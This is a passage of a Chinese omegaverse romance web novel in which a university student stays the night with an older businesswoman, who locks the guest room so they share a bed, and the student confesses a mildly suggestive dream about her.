像每年体测跑一千五百米时最后几秒奋力冲刺前的速度,像运动会最后一棒接力赛时拼尽全力燃气的速度。 而她,静静站着,只因女人几句话,就让变成了这样,心跳快到让她有些不安。 明明一旁有共享单车,她选择直接跑了起来,好像企图用奔跑来转移注意力,来掩饰她因女人而过速的心跳。 她的目标是校门,她得全神贯注地奔跑。 但是不行。 姜映在奔跑中没有短暂地忘掉程卿言,反而变本加厉,耳边疾驰的风声变成了女人轻笑时的一呼一吸,枝头摇曳的树叶幻化成了女人晃动的裙摆,路灯落在她身上昏黄的光变成了女人与她对视时的眸光。 好像所以的一切,都变得和程卿言有关了。 万物都和程卿言有关。 于是姜映停了下来,弓着背大口呼吸着,因过速的奔跑,喉咙里过干,有了淡淡的血腥味,她费劲地咽了咽唾沫,感受着自己的心跳,由快到慢,再慢慢地恢复了平息。 期间零星几位学生经过,见她弯着腰急促地呼吸着,以为她身体不舒服,好心地走到她问她:“同学你怎么了?” “没事的,”姜映说话的声音偏哑,摆了摆手,“我刚才跑了步。” 跑快了在休息啊,那么冷的天还出来跑步,有这毅力,做什么都会成功。 大概是马上期末了,复习压力太大,出来跑步解压的。 好心学生在心里感慨几句,只要别跑到教学楼天楼上去跃跃欲跳,就没什么大问题,放心地走了。 姜映感觉自己缓过来后,直起腰站了起来,从书包里拿出湿巾擦了擦脸上的汗,眸光颤动,看着前方的大门,深深呼了一口气后,慢慢走了过去。 她捏着手腕上的红绳,其实还意识到一件事,在手机铃声响起,她看见屏幕上显示的是女人的电话号时,鼻头顿时涌出写酸意,不是在难过…… 而是她的不安难受,她对她做荒唐梦的迷茫,对自己品行的质疑,对自己的厌恶,瞬间得到了安抚。 如同一直被狂风裹挟着在空中飘了整天的枯叶,终于有了落脚点可以停下来。 冷风吹得她鼻尖泛起了冰冰凉凉的红,她吸了吸鼻子,不禁在心里质问自己,怎么能这样啊姜映。 明明是她犯了错,还需要女人来安慰她? 她怎么是这种人,她变得越来越不像自己。 心跳暂时回复了平静,步伐也很平稳,思绪也渐渐恢复了正常。 和方才奔跑时的混乱不一样,她越是冷静,越能清晰地感知到此刻心里复杂的情绪。 既怕见到程卿言,又想见到程卿言。 七八百的距离不远,加上她腿很长,即使走的很慢,用不了多久就到了校门口。 夜已深,卖夜宵小吃的摊贩已经离开了,安静空旷,因此姜映一眼就瞧见了停在老位置的卡宴。 车窗隐私性很好,窗外的人看不见车内的景象,她知道女人在里面,但她看不见她。 那程卿言看见她了吗? * 程卿言再一次冲动了,就像上次去国外出差,在书店买书时,突然决定回国去看姜映总决赛。 这次她从宴会厅回月泊林的路上,即将到小区门口,一路安静的她忽然开口,让秦助理调头,开到了碚大门口。 四下寂寥,她缄默地在车里坐了几分钟,拿出手机给姜映打电话时她在想,如果女生第一遍没接,她就回去,不会再打第二遍。 嘟嘟嘟的铃声在耳边响起,好似不会有人接起来,接近机械女音要开口播报时,程卿言指腹摩挲着手机边沿,她是希望女生接起来,还是不接? 没来得及思索出答案,电话接通了,姜映替她做了选择。 既然接了,她就得见到她。 挂断电话,她本来打算阖上眼睫眯了会儿,想了想还是算了,反正也睡不着,看着前方碚大的校门,很快她等的人出现在她视线里,程卿言嘴角轻轻扬了扬。 这才闭上眼,等着女生过来。 姜映拉车门时她是知道的,她没有立即睁开眼,待女生上车坐下她身边,她感受到她身上的温度时,才睁眼侧头看着也在看她的姜映。 眸光交接,姜映心口一颤,抿了抿唇道:“我吵醒你了?” 她不知道女人在睡觉,若是知道,她会在外等会儿再上来。 程卿言眸光扫过女生泛着红的秀挺鼻梁和薄薄的双唇,挑了挑眉梢,嗯了一声:“吵到我了。” 在女生将要开口前,她补充道:“不要道歉。” 姜映捏了捏掌心,哦了一声:“你好像说过你睡眠不好,入睡比较困恼。” 程卿言笑了笑:“把我的事情记得那么清楚啊?” 姜映颤睫,她确实将她的事情记得很清楚,怕自己忘记了,还写进了备忘录里:“我记性比较好。” “有多好,可以过目不忘吗?” “如果有意要记,是可以过目不忘的。” “无意呢?” “可能就记不住。”生活节奏快,每天看见的事物很多,如果什么都记住,姜映的大脑会很疲惫,她多数时候只记她想记的。 程卿言嗯了一声:“那我是你的有意,还是无意?” 车内的装饰灯暖黄昏暗,不知道是不是受了车灯的影响,姜映觉得女人看向她的眸光柔和温暖,她的心又颤了两下,思索着女人的问题。 程卿言是她的有意,还是无意? 在她们以清醒的状态正式见面前,她就在梦里见过她,或多或少知道了一些她的事情,在后来的相处中,她虽然在记备忘录,但她也是脑子里有了这些记忆,才能写进备忘录。 她好像既是有意,又是无意。 换句话讲,即不是有意,也不是无意。 在女人柔和等待的目光中,姜映道:“都不是。” 程卿言好奇:“那是?” 姜映摇了摇头:“我也说不清。” 至少目前说不清。 “行吧,”程卿言只是随便问问,没有为难她,转而问,“你既然知道我睡眠不好,你把我吵醒了,你是不是得补偿我?” 女人说的在理,姜映认真地嗯了一声:“你要什么补偿?” 程卿言说:“哄我睡觉。” 哄,哄她睡觉? 姜映颤了颤眼睫,她从小到大都很懂事独立,既没有被人哄睡的经历,也没有哄别人睡觉的经历,对此她一片茫然。 而且程卿言又不是小孩子,已经是大人了,也需要别人哄睡吗。 她们坐的很近,又在密狭小的空间里,上车那会儿就闻见了女人身上散发出来的淡淡酒香,所以女人是不是喝醉了才说这需要人哄她睡觉啊,姜映一时间有些愣神。 见她傻乎乎的不回答,程卿言脚尖踢了踢她的脚踝:“你不愿意?” 说是踢,根本没用力,和蹭差不多。 即使隔着厚厚的衣物,也让女生的脚踝产生了密密麻麻的痒意,这些痒意瞬间和她的混账梦境重合,那些令她感到可恶的回味又不合时宜地出现在她脑子里,姜映浑身一颤,连忙往后坐了坐,躲开了女人。 移开眼,甚至有些不敢看她。 她在上车前暂时压下去的复杂情绪,又有要冒出来的趋势。 程卿言瞥见她瞬间变得通红的耳畔,以及她躲闪的举动,眸光晦暗静思几息,片刻后像是什么都没察觉到一般,再问一遍:“真不愿意?” 姜映回神,理了理情绪,眨了眨眼道:“我愿意的,你想我怎么哄你睡?” 程卿言勾了勾嘴角:“自己想。” 啊…… 姜映为难地看着她,又问:“现在吗?” “我现在不想睡觉,先欠着。”程卿言说。 姜映松口气,应了声好。 程卿言从包里拿出一个橘子递给她,下巴指了指她的手:“给我剥。” 姜映眨了眨眼,哦了一声,轻笑着接过橘子,先用湿巾擦了手和橘子外皮,而后熟练地剥了起来,手很灵活,速度也快,不到一分钟就剥掉了橘子皮。 空气中弥漫着橘皮的香味,和青竹香氛交错在一起,形成了一种又涩又清新的味道。 程卿言本来打算伸手接橘子了,但女生并没有打算给她,而是细心地将其分开,一瓣一瓣地放在女人手中。 程卿言挑眉,对她的服务十分满意,如果能喂到她嘴里,她会更满意。 不过她没提出来,绕是她爱使唤人,也觉得有些得寸进尺了。 她希望姜映日后能自行进步,自觉地喂到她嘴边。 姜映一边递橘子,一边道:“你叫我出来,是想吃橘子了。” 女人说想她,原来是想她剥橘子的意思,她还以为…… 闻言,程卿言眸光不善地撇了她一眼,推开她递橘子的手:“不吃了。” 姜映啊了一声,有些困惑看了看手中的橘子,为了吃橘子,特意来找她,吃两瓣就不吃了吗:“剩下的我吃?” 程卿言呵了一声:“橘子是你买的,皮是你剥的,你要吃就吃,问我做什么。” 姜映眨了眨眼,感觉对方说的话中带了些阴阳怪气,生气了? 为什么会突然生气,和她有关吗? 姜映觉得和自己没关系,更加觉得女人酒喝多了,原来女人喝多了酒会莫名其妙发脾气。 她不觉得厌烦,眉眼弯弯,忽然笑了一下。 程卿言:…… 笑什么笑,有什么好笑的,没瞧见她生气吗,小傻子又在装可爱。 姜映勤俭节约,不会浪费粮食,乖乖地吃完女人剩下的橘子。 程卿言瞧着她安静进食的样子,觉得她真的很像拉面丸子,拉面丸子平时也会乖乖吃她剩下的水果,看来这三姐妹都不挑食,待女生吃完,她主动递过去一张纸巾。 姜映接手,擦了擦嘴角:“谢谢。” “不客气,”程卿言看着她,声音缓缓道:“你把橘子吃完了,我吃什么?” 姜映满脸无辜:“啊?” 程卿言继续:“我没吃晚饭。” 这话是真的,她在晚宴上只喝了酒,宴会结束后本来是要回家吃些东西的,临时改了道来了碚城大学,因此她什么也没吃。 姜映看了眼时间,快凌晨了,女人居然没吃晚饭,关心道:“你是不是饿了?” 程卿言笑:“要我把饿字写头上吗?” “那你想吃什么,我去买。”姜映道。 程卿言想了想:“我想去店里吃。” 姜映给她说:“这会儿商场已经关门了,不营业。” “那就不去商场,附近没有别的店了吗?” “嗯……”姜映有些犹豫,“有的,不过你可能会吃不惯。” 程卿言:“你去吃过没?” “吃过。”附近味道好的管子,姜映和室友们几乎都去过。 “既然你能吃,我为什么不能吃,带路。” 话音落下,程卿言已经拉开车门,踩到了柏油马路上,她有些不满女生的区别对待。 晚宴穿的礼服并没有换下来,在礼服外搭了件羽绒外套,身上不觉得冷,但露出来的小腿以及穿着高跟鞋的脚瞬间感受到了凉意,冻的她身形一颤,立马又坐回了车里。 刚从另一边开门下车的姜映:??? 好吧,程卿言喝酒了,行为有些异常也是能理解的,于是她也跟着回到了车里。 程卿言问她:“你一会儿还有事要做吗?” 姜映摇头:“今天的学习任务已经完成了。” 程卿言嗯了一声,便让秦助理开车去了她在碚大附近的那出房产,距离很近,两三分钟车子就开进车库。 程卿言下车时在认真地想吃什么,准备让秦助理联系餐厅送过来,因此步子踏得很缓慢。 一直留意着她状况的姜映以为她酒喝多了,头晕走不动,犹豫几息主动道:“需要我扶你吗?” 程卿言:??? 瞧了眼女生担忧的眼神,明白怎么回事了,勾了勾唇问道:“觉得我喝多了走不稳?” 姜映如实地嗯了一声。 程卿言不客气:“那你背我。” 姜映惊讶地眨了眨眼,以为自己没听清,重复一遍:“背你?” 程卿言下巴轻点。 已经不舒服到需要背着上楼的地步了吗,姜映有些犹豫,她只背过她妹妹,没有背过成年人。 既觉得有些变扭,又当心背着把人摔着了。 可她又想到上一次她喝醉时,女人也不厌其烦地去接了她,最终点了点头,不再犹豫。 她转身背对着女人,膝盖微微弯曲,半俯着身:“你上来吧。” 程卿言瞧着她白皙细腻的后颈,嘴角轻扬,伸手搭在她的肩膀上,只伸了一直手,也不是一直搭在肩上,停留几秒后转了方向,指尖抚在了alpha的侧颈上捏了两下。 附身靠近她,也不是故意还是无意,说话间嘴唇似有若无蹭过alpha的耳畔,笑音:“我可不是你,喝几杯就醉了。” 女人瞧着她耳朵变红后,又抬起指尖捏住她又烫又软的耳垂,像是把玩一般轻轻捏了两下,而后放开手,也不管女生是何反应,扬着嘴角走向了电梯。 她想好吃什么了,给已经在回家路上的秦助理发了消息,让她安排人送过来。 程卿言开门进屋,暂时也没管alpha要什么时候才上来,别跑掉就行。 她拿着睡袍去了浴室,没选择泡澡,淋浴器打开,水雾弥漫,白皙的肌肤染上了淡淡的粉色。 十多分钟后,她从浴室出来,姜映已经坐在了沙发上等她,餐厅送的餐也放在了桌上。 程卿言说:“我得吹头,你饿了可以先吃着。” 姜映:“我吃了晚饭的,我不饿。” 程卿言嗯了一声,从柜子里拿出吹风机,呼呼呼的吹风声响起,不到一分钟,女人就有些不耐烦了。 蹙着眉瞪了一眼自己还在淌水的发尾,她的头发不短,洗的时候倒是还好,吹起来就有些费劲了。 因为不想吹头,平日里她一般不会自己在家洗头,月泊林里有为业主服务的会所,提供专业的头发护理服务。 头发多就算了,吹风机又是谁给她买的,这么重,举得手都酸了,酸得她眉心轻拧。 正打算停下时,姜映走到她伸手,询问道:“需不需要我帮忙?” “给。” 如同烫手山芋,女人立马将吹风机递给她。 姜映认真地给她吹起了头发,修长的手指在omega润泽柔顺的发间穿梭着,平时经常做实验,需要的就是耐心,因此她丝毫不觉得烦躁,吹得很仔细。 不过她是第一次给别人吹头,没什么经验,手上的轻重没把控好,不小心扯到了女人的头发。 “疼……” 程卿言眉心一颤,捏了捏alpha的手腕。 “轻一点。” 姜映立马松了力:“这样行吗?” 程卿言:“再轻点。” 姜映应好,试了一会儿,找到了女人能接受的力度,吹头发时难免会瞧见女人的后颈,她前两日在她腺体上留下的痕迹已经好了很多,触目惊心的红变成了淡淡的粉,再养两日应该就能恢复了。 她吹头讲究方法,吹风机价格也不便宜,风大的同时也保持了柔和,不会灼烧肌肤,很快给女人吹干了头发:“可以了。” 这么快? alpha在给她吹头时,柔软的指腹会轻柔地磨蹭着她的头皮,微微泛起的痒意让她很舒服,程卿言恋恋不舍地睁开眼,摸了摸发梢,的确干了。 omega轻叹一口气:“谢了。” 为什么要叹气? 姜映问:“是不是我弄得你不舒服了?” “挺舒服。” 就是速度太快了。 程卿言起身去了餐桌,打开餐盒,餐厅给做了保温措施,送来的也很及时,饭菜没有冷,她道:“你要吃点吗?” “我不饿。”姜映的口腹之欲浅,没有吃宵夜的习惯。 这个点确实不是进食的好时候,程卿言也不劝她,如果不是她太饿了,也不会吃:“那你去洗澡吧。” 姜映愣了一下,小声问:“我今晚要在这里留宿吗?” 程卿言不想她走:“都快一点了,你还想回去?” 确实太晚了,回寝室弄出声响会吵到室友,姜映说:“那我去洗漱后。” 之前这里没准备一次性睡袍,所以姜映上次是穿程卿言的睡裙,这次不用了,秦助理已经在这里添置了各种各样的日常用品,放进了储物柜里。 但程卿言不知道哪个是储物柜,就让姜映自己去找了,片刻后浴室关上,淅淅沥沥的水声响起。 程卿言吃的不多,胃不再饿得难受,在姜映出来前就放下了筷子,她坐在沙发上回了几条工作上的消息。 听见浴室那边的响动时,抬眸看过去,赏心悦目的画面映入她眼帘。 热水晕染过后脸颊泛着淡淡的粉,alpha又年轻,脸颊嫩得都能掐出水来,一直风吹日晒的脸颊都是这般嫩,那衣服遮掩下的地方,又该是何光景。 程卿言忽然觉得喉咙有些痒,端起水杯抿了几口温水,她吃了饭,还得再漱一次口,起身去了浴室洗漱护肤,出来时姜映刚好吹好头发。 程卿言问她:“要休息了吗?” 姜映嗯了一声,走到客卧门口:“晚安。” 客卧门是关着的,她手落上去轻轻拧了一下,拧不动,用力拧,也拎不动。 姜映回头对女人说:“门好像坏了。” “门没坏。”程卿言告诉她。 那为什么打不开,姜映困惑眨眼。 门没坏,是姐姐坏。 “是锁上了,”程卿言走到她跟前,抬指勾住alpha的发尾,呵气如兰,“我锁的,今晚你得和我睡。” 作者有话说: 橙总:喜欢好姐姐,还是坏姐姐?(姐姐可以更好,更坏) 晚安,明天见~ 第47章 安抚 安抚 第四十七章 门是程卿言锁的,她得和程卿言一起睡。 睡一起? 姜映瞬间红了脸,瞳孔微微放大,显然是惊到了:“睡,睡什么?” 程卿言将她的发尾一圈圈缠绕在指尖上:“你觉得呢?” 当然是睡一张床上,总不可能是睡沙发,地毯,餐桌。 姜映呼了口气,捏了捏掌心问道:“为什么要和你睡一起?” “不是很明显吗?”女人下巴指了指客卧,“门已经锁上了,进不去。” “门是你锁的,可以打开。” “哦……”程卿言点点头,瞧着女生着急的样子,有点想笑,“你说的很对,我可以打开,但是我找不到钥匙了。” 姜映信吗? 她当然不信,她又不是傻子,哪有那么巧合的事情。 程卿言轻轻扯了扯她的头发:“你不想吗?” 姜映如实说:“不想。” “为什么?” “我没有和人睡一起习惯。” 程卿言挑了挑眉:“可是我们已经睡过了。” 闻言,姜映咳嗽几声,青涩的脸上写满了着急:“这是不一样的,上次我老毛病犯了,意识不太清醒,根本不知道你躺在我身边。” 程卿言说:“你等会儿也可以装作不知道。” 姜映为难:“可是我已经知道了。” 暂且不提她会不会害羞,会不会觉得冒犯,在她的观念中,alpha不能无缘无故和omega睡在同一张床上,那样太轻浮了,她接受不了,上次是意外,此刻她分明清醒着,怎能故作不知情。 “那你忘掉。” “忘不掉,你知道的,我记性好。” 程卿言:…… 磨磨唧唧,就睡一起而已,她又没说要做别的事,而且她的床很大,躺在一起根本不会挨着,有什么不习惯的。 难搞的坏东西。 她看着女生的眼眸,静了几息,忽然颤着眸光柔声道:“真的不能睡一起吗……” 姜映的态度本来很坚定,说不睡一起就不睡一起,可是程卿言为什么要突然用这样的目光看着她,用这种语气和她说话。 她一直是个有自己原则的,就像上次她和女人关于青朝杯决赛的论题引发的争论,对就是对,错就是错,她在尊重别人选择的同时,也会坚持自己的选择。 如果对方一直强硬地要求她得和她睡一起,她自然会坚定地拒绝,可是女人的态度忽然骤然,软了下来,好像她拒绝了她,会让她很难过。 “姜映……” 女人又用那样的语气叫了她一声。 姜映顿时说不出拒绝的话,张了张嘴又闭上,本就不硬的心此刻软得不能再软。 在遇见程卿言之前,她的生活很平静,不是学习就是兼职,无趣寡淡的性子让她的情绪也很平静,她几乎没遇见过需要她伪装情绪的时刻,她对此没有任何经验,从前她也不需要。 因此,她的心软此刻明明白白地写在了她青涩的脸上,即使她已经刻意收敛了,但在女人面前,她的道行还是太浅,轻而易举就能被看出来。 为什么一定要和她睡一起? 她左右为难,理性告诉她,她们不可以睡一起,感性又让她忍不住动摇。 愣神期间,姜映忽然想到了上次女人离开她家时,摸着她的脸对她说的那句“和你睡觉的感觉挺不错的,我很喜欢”。 和她睡一起的感觉很不错…… 紧接着她又想到了程卿言提到的难以入睡的问题。 难道是对方和她睡在一起,睡眠质量会变好? 怎么可能。 她既不是安眠药,又不是对程卿言而言很重要的人,怎么可能会影响对方的睡眠,姜映抿抿唇,觉得她把自己想的太重要。 “拿着。” 掌心里突然多了一个冰凉的东西,姜映回神,垂眸瞧见是一把钥匙,客卧门的钥匙。 她颤了下眼睫,随即抬眸看向女人,女人已经转身背对着她,朝着主卧的方向走了过去。 柔顺润泽的头发如同上好的丝绸,垂落在背脊上,白色睡袍下包裹着薄薄的身姿,好似难受一般,步伐沉重缓慢,裙摆晃动的幅度很小。 每往前一步,似乎就难受一分。 主卧的门没关紧,虚掩着。 程卿言伸手落在扶手上往里推,停顿两秒,走进去后没有回头,反手带上门的动作缓慢,门正要合拢关上时她感受到了一股阻力。 程卿言嘴角轻轻扬了一下,微不可查,快速将其收敛,不过她并没有收回关门的手,仿佛没感受到那股阻力,依旧保持着关门的动作。 直到alpha出声:“我和你一起睡。” 声音很小,听起来情绪有些复杂,有犹豫,有纠结,有冲动,甚至还有一种说了之后就会后悔的感觉。 “好。” 程卿言随即答应,转身注视她。 “进来。” 啊…… 姜映微微怔愣,卷翘的眼睫扑闪着,以她对程卿言脾气的了解,她以为她会拒绝的,怎么直接就同意了啊。 程卿言气这么快就消了吗? 是不是根本没生气,没难受? alpha显然没想到女人答应的那么快,冲动行事,没做好心理准备,心跳快了起来。 但这次不是女人要求她的,而是她主动说出来的,她无法反悔。 姜映很紧张,脸颊绯红,同手同脚走了进去。 这里的主卧虽然没有月泊林那边的主卧精致,但也很宽敞,该有的东西都有。 一米八的大床,质量上等的四件套铺在床上,床头柜,衣柜,梳妆台,书桌,落地灯,家具齐全。 程卿言坐在了床边,等着alpha走过来,问道:“你想睡那一边?” 姜映捏了捏掌心,觉得脑子热热的:“都,都可以。” 程卿言挑了眉:“没有个人偏好吗?” 姜映睡眠质量好,对环境要求也不高,只要干净卫生,无论哪都能睡觉,如果一定要讲个人偏好的话,她认真地想了几秒:“我平时喜欢睡中间。” 中间? 程卿言笑了一声,十分大方:“那一会儿你睡中间。” “不用了,”姜映连忙拒绝,女人的床虽然大,但她睡中间,两人躺下也难免会挨到一起,“你先睡下,我睡空着那边就行了。” 程卿言瞅着alpha脸颊上的红晕,好心地放过了她,起身掀起被子,没有立即躺下去,指尖放在了腰间的睡袍带子上,轻轻扯开,纯白睡袍顺着她圆润的肩头滑落。 姜映没想到她会脱衣服,通红着脸屏住了呼吸,非礼勿视,立马转身看着墙面,紧张道:“程,程小姐你能不能别裸,裸睡,这样是不行的,你…你…” alpha的后腰被omega的指尖搓了几下,女人走到她身后,呵声道:“你叫我什么?” 姜映一时紧张又叫回了程小姐,咬了咬唇改口,细声细语:“姐姐。” 程卿言嗯了一声,眼眸深沉地瞧着alpha通红的耳垂,诱得人想咬一口,突然咬上去会不会太冒昧了,可能会吓跑脸皮薄的小姑娘。 她可不想她骗进来的人又跑掉了。 她对女生的性格既爱又恨,青涩干净害羞,她玩起来有意思,但太安分老实了,搞得她都不好做坏一点点的事。 既然喜欢她,能不能大胆一点点? 程卿言眸光幽怨地睨了眼alpha的腺体,在心口叹了一口气。 折磨人的坏东西。 不过这坏东西倒是敢想,居然认为她会裸睡,她只是脱掉了厚实的睡袍,里面还有一齐膝的缎面吊带睡裙,她睡觉喜欢穿轻薄些,但不至于什么也不穿。 “转过来。”程卿言说。 姜映像长在地里的老树,一动不动。 女人没法,主动迈着步子绕到她身前,瞧见女生紧闭着双眼。 程卿言:…… “我穿了睡裙的,你再不睁眼,我就真脱了。” 姜映的眼睫颤啊颤,先缓缓睁开一直眼睛,眯成一条缝轻轻看了看女人,隐约瞧见她身上有颜色,才松了一口气,放心地睁开另一只眼睛。 真是,装什么可爱。 程卿言勾了下嘴唇,回到床边,优雅地躺在了床上,瞧见alpha还傻愣愣地站在旁边,没有要躺下的想法,她问:“你还不睡?” “我……”姜映掌心全是汗,“我好像还没把实验报告发在导师的邮箱里,我得先发处理一下作业。” 她没说谎,她确实有报告没发,不过截止日期还有三天,其实不用急着在这会儿发,但她就是想找点事情做。 程卿言:“要多久?” “几分钟。”姜映说。 几分钟尚在程卿言的接受范围内,她嗯了一声,指了指屋内的书桌:“你在那里弄。” 姜映应了声好,去客厅拿电脑时瞧见了一起放在书包里的强化剂,拧开瓶盖倒了一颗在手里,有些犹豫要不要吃。 女人来找她,还把她带来了这里,应该是要她提供服务的吧。 女人一直没提,她不是很确定。 犹豫片刻,还是倒了一颗出来,用一张干净的纸巾包起来,放进了睡袍上的口袋中,若是需要,她可以立马吃一颗。 重新回到卧室,姜映坐在书桌前打开电脑文档,指尖在触屏版上滑动着,看似在认真检查一遍,其实已经在走神了。 来程卿言卧室一起睡觉,她对此真的是一件很紧张的事,加上她之前做的那个让她对自己人品产生怀疑的混账梦,本来就无颜面对女人,这会儿居然还答应了要睡一起。 因此,不只是紧张,不安和惶恐也在她心理交织着,密密麻麻让她有些喘不过气,她害怕她又会做一些混账梦,或者是做一些比混账梦更可恶的事。 这些都是她无法保证的,她变得越来越不像自己。 姜映在害怕,对陌生的自己感到害怕。 无论出于何种原因,不和程卿言同床共枕对她而言是最好的选择,可她在女人给了她客卧的钥匙,她看着女人孱弱的后颈,独孤地往前走的身影时,胸腔忽然冒出了浓稠的心疼。 而她在心疼什么? 她说不清楚。 就好像她的大脑在告诉她,女人有很多值得她心疼的地方,她不能让她伤心难受,但她却不知道她到底因为什么事情而心疼。 有一瞬间她甚至觉得她忘记了什么重要的事情。 姜映的理性在那瞬间消失殆尽,所有不安与难受好像和女人的难过比起来,变得不值一提。 她向前主动地拦住了即将关上的门,主动地说了她愿意睡在一起。 她很少冲动,很少有情绪起伏,可是就是冲动行事了。 姜映不知道如果她真的拒绝了女人,女人是否会真的难过,她也不知道她是否呼影响女人的睡眠。 万一呢,万一女人和她睡在一起,睡眠状况真的会变好。 “好了吗,你还要多久?” 女人带了些轻微抱怨的声音让alpha回过神。 “马上就好。” 姜映的手抖了一下,她轻轻呼了一口气,把本来就没问题的实验报告发给了导师,关上电脑,捏着手腕上的红绳走到床边。 “不好意,让你久等了。” 哼,还知道让她久等了,和这坏东西睡一起真是件不容易的事,程卿言睨了她一眼,眼神示意她快点滚上来。 姜映心一横,提了口气,掀起被子躺到了床上,躺的规规矩矩,十分僵硬板正。 “姜映,”程卿言幽幽道,“你没发现你三分之一的身体没躺在床上吗。” alpha紧贴着床边睡,睡着后若是轻轻挪动身体,肯定会摔在地板上。 姜映哦了一声,紧张地往中间挪动时听见了omega打了个哈欠,她瞬间有点内疚了,就是因为她的磨蹭,女人在这个点了都没能睡觉,是她的问题。 她主动问道:“那我关灯了?” 程卿言按在床单上的手顿了一下,她不喜欢在全黑的环境里睡觉,一般都会开一盏暖黄的夜灯。 若是没有开灯睡觉习惯的人,一般都会不适应,思忖几秒道:“关吧。” 下一瞬黑暗笼罩,只有没拉紧的窗帘外探进来的一点点微弱的月光,女人颤了颤眼睫,鼻尖闻着女生的清新的体香,感觉还行。 她不怕黑,只是不喜欢黑暗,在有条件的情况下都会选择开灯睡觉。 既然已经躺在了一起,姜映想到了她答应女人的事,继续主动问道:“你需要我哄你睡觉吗?” 程卿言不着急:“不用,以后再说。” 姜映嗯了一声,其实她也没想好该怎么哄人睡觉,也就没问了,彻底安静下去。 像是不存在一般,静得连呼吸声都快消失了。 几息过后,程卿言翻身侧躺着,瞧着alpha模糊的身影,往中间移了移,肌肤和床单摩擦间弄出了窸窸窣窣的声响。 alpha草木皆兵:“怎么了?” 程卿言伸手,指尖在模糊昏暗中摸到了女生握得紧紧的拳头,在女生下意识要躲开时,她的掌心覆盖女生手背上,握着了alpha的手:“你很紧张。” 不是问句,是肯定句。 姜映抿了抿唇,解释说:“我有点不习惯和别人睡一起。” 程卿言嗯了一声,指尖轻抚她的手背,放柔声音问:“还有呢?” “什么?” “让你难受不安的事,愿意和我说说吗?” 程卿言在给姜映打电话时就发现了她的声音点不对劲,好像遭受了什么打击一般,低迷消沉,在女生上了车之后,她就确定了自己的感觉时正确的。 偶尔闪躲的眼神,时不时露出的愁容,以及因她无意间的触碰而出现的奇怪反应。 都是很细微的异样,alpha也在尽力遮掩情绪,在她面前维持正常,但在程卿言这种常年与商界的笑面虎老油条打交道的成熟女人眼里,她的这些掩饰就显得太刻意了,一点也不正常。 程卿言已经对姜映的性子有了大致的了解,也清楚在她面前的姜映和在别人面前的姜映是两种样子。 在她跟前动不动脸红害羞,在辩论赛场上沉着冷静,波澜不惊。 那么…… 姜映在她面前展露出来的这些反常,应该与她有关。 她去她家里帮她度过易感期的事情,她也以自己的方式给了女生解释,不该说的都没有说,除此之外,这两天并没有发生什么特别的事。 那到底是因为什么? 小姑娘性子又闷,她如果不问,可能会憋到天荒地老。 姜映卷翘的眼睫猛的颤了颤,没想到女人早已看出来她的异常,她该说什么,她该怎么说,将她混账梦讲给女人听? 程卿言也不知道她大半夜哪来的耐性,柔和的不行:“和我有关对吗?” 姜映抿着唇,嗯了一声,低声道:“可以不说吗?” “为什么?” “是一些不好的事情,会…脏了你的耳朵…” 一些脏她耳朵的事? 就女生这性子,能做出什么脏事? alpha不解释还好,解释过后,程卿言的好奇心瞬间冒了出来:“既然和我有关,我也有知道的权利,不是吗?” 女人说的很对,姜映无法反驳,嗯了一声。 察觉到女生紧握着的拳头松了一些,程卿言自然地将她的手指插进了alpha的指缝中,指腹触碰到对方微热的掌心,轻轻揉了揉,以示安抚:“和我说说行吗?” 姜映满脑子都是事,注意力没在手上。 或许是女人温柔的安抚起了作用,或许是姜映觉得女人有知情权,她静了一会儿,提了一口气后选择了告诉她。 alpha的声音偏小,但在安静的夜里,所有的细微都会被放大,程卿言不仅将她说的话听得很清楚,还听见女生言语的愧疚,不安,难堪。 姜映的梦境不长,内容也不多,两三分钟就讲完了。 听完后,她暂时没空去管女生的情绪,而是惊喜地挑了挑眉,嘴角上扬,差点笑出声。 春|梦啊。 哪是脏事。 这是天大的喜事。 作者有话说: 橙总:今天是安慰妹妹的好姐姐 喜欢睡中间的小姜以后会喜欢睡哪呢(家人们一定猜不到哈哈哈) (两位都是吃软不吃硬的人,一次次打破原则,发现新的自己) 晚安,明天见 第48章 兴奋 兴奋 第四十八章 哪里脏了,一点也不脏。 喜事来的太突然,程卿言差点笑出声,但她在小姑娘难受不安时笑,会不会显得她太缺德了,她忍住了,压了压一直想上扬的嘴角。 姜映既然决定要说,她就没有省略细节,她的记忆力和语言表达能力也不错,一五一十地描述了梦中的场景。 女人是以何姿势坐在她的腿上,衣服下摆是怎么上卷,堆叠到腰腹之间的哪个位子,是如何拉着她的手骂她,要求她做什么,以及梦里最后让她醒过来的那巴掌,她全都用质朴的语言还原出来。 虽然没漏掉细节,但她只是在陈述事实,言语中除了那些与自责有关的情绪,没有任何轻浮。 对于这件事,姜映本就很难堪愧疚,她讲完之后屋内就没声音了,十分安静,女人没有给她任何回复。 是不是也觉得她很恶心。 觉得她脏了她的耳朵。 对她感动失望,觉得她是个人面兽心,极其糟糕的人。 对她厌恶到连话都不想说了。 女生抿了抿唇,愧疚不安到眼尾泛起了红,声音微哑,怀着浓浓的歉意道歉:“对不起。” 高兴去了,差点忘了小姑娘还难受着,程卿言闻声回神,指尖点了点alpha微微出汗的掌心,放柔声音问:“只有这么内容,没有别的了吗?” 这些已经足够让姜映难受,难以承受了:“没有了。” “既然如此,那你为什么要道歉?” “我莫名其妙对你做了这种梦,很冒犯你。”姜映对此很内疚。 这就冒犯了吗? 程卿言问:“你以前没做过这种梦吗?” 姜映摇头,声音闷闷的:“没有。” 这么说,她是女生的第一个春梦对象,程卿言的嘴角又不合时宜地扬了一下,又想笑了。 虽然这种尺度的梦,在她看来其实根本不能算春|梦,既没脱衣服又没脱底裤,手也没摸隐秘的地方,只是蹭了蹭腿而已,顶多算暧昧。 做梦都那么清水含蓄,小姑娘居然为此难受内疚了几天,程卿言其实是有点惊讶的,惊讶女生会因为梦而内疚。 程卿言想到了自己,她对欲念向来坦诚,别说是梦了,她还能想着姜映自给自足,她丝毫没有难受愧疚。 姜映道德品质这么高吗? 转念一想,她想到了让姜映第一次提供信息素时的场景,干净单纯到连omega的腺体在哪都找不到,还得她亲手带着她去找位子,随即理解了女生为什么难受。 徒然做这种梦,身心收到了冲击,难受也是正常的,好在尺度不大,不然女生可能会更难受。 有性羞耻的年轻alpha。 程卿言既觉得有些好笑,又觉得她可怜,不由自主怜爱道:“如果我说我不介意,不介意你对我做这种梦,你还会难受吗?” 姜映颤了颤眼睫,认真思忖片刻,她还是难以接受这样的自己,女人原谅她说对方大度,并不代表她做的事情不是错的,她是有原则的人。 